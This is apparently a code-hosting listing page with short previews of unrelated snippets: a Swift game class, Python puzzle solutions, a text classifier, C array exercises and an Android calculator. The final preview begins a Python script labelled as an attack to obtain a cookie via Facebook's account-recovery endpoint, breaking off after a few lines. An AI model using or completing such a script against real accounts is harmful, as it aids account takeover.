This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class King { | |
var power = 100 | |
var health = 100 | |
let maxHealth = 100 | |
let maxPower = 100 | |
func attack() { | |
if self.isDead() { | |
print("🤴 is dead!") | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! usr/bin/python | |
import sys | |
class Heap(object): | |
def __init__(self): | |
self.lower = [] | |
self.upper = [] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ! usr/bin/python | |
# | |
# Download Input & Output files : https://www.dropbox.com/sh/bvnrwslazmr5ztc/AACZYKtzHq1mY4YrRQN-GFbDa?dl=0 | |
# | |
f = open("pieprogress.txt") | |
wf = open("out_pie.txt","w") | |
cases = int(f.readline()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ! usr/bin/python | |
import pandas as pd | |
from sklearn.feature_extraction.text import TfidfVectorizer | |
from sklearn.naive_bayes import MultinomialNB | |
from sklearn.externals import joblib | |
from sklearn.pipeline import Pipeline | |
from sklearn.feature_extraction.text import TfidfTransformer | |
from sklearn.feature_extraction.text import CountVectorizer |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# give input in single line with spaces | |
noc = int(raw_input()) | |
for case in xrange(0,noc): | |
N = int(raw_input()) | |
i = 1 | |
totalFound = 0 | |
totalSum = 0 | |
while totalFound != N: | |
count = 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# give input in single line with spaces | |
nos = map(int, (raw_input()).split(' ')) | |
totalSum = 0 | |
for n in nos: | |
count = 0 | |
tmpN = n | |
while n: | |
n &= (n-1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<stdio.h> | |
int main() { | |
int arr[20],n,i=0,sum=0,mult=1,element; | |
printf("Enter number of elements: "); | |
scanf("%d",&n); | |
while(i<n) { | |
printf("\nEnter no%d: ",i); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Sum & Mult till before the last before element and check if it's less than the last before element! | |
*/ | |
#include<stdio.h> | |
int main() { | |
int arr[20],n,i=0,sum=0,mult=1,element; | |
printf("Enter number of elements: "); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.example.calc; | |
import android.os.Bundle; | |
import android.app.Activity; | |
import android.view.Menu; | |
import android.view.View; | |
import android.widget.Button; | |
import android.widget.TextView; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! usr/bin/python | |
# -*- coding: utf-8 -*- | |
import requests | |
######################### Attack to get sfiu cookie ###################### | |
url = 'https://touch.facebook.com/login/identify/?ctx=recover&ref=wizard' | |
phno = raw_input('Enter EmailId:\n>') | |
payload = { | |
'lsd' : 'AVqoLCeF', |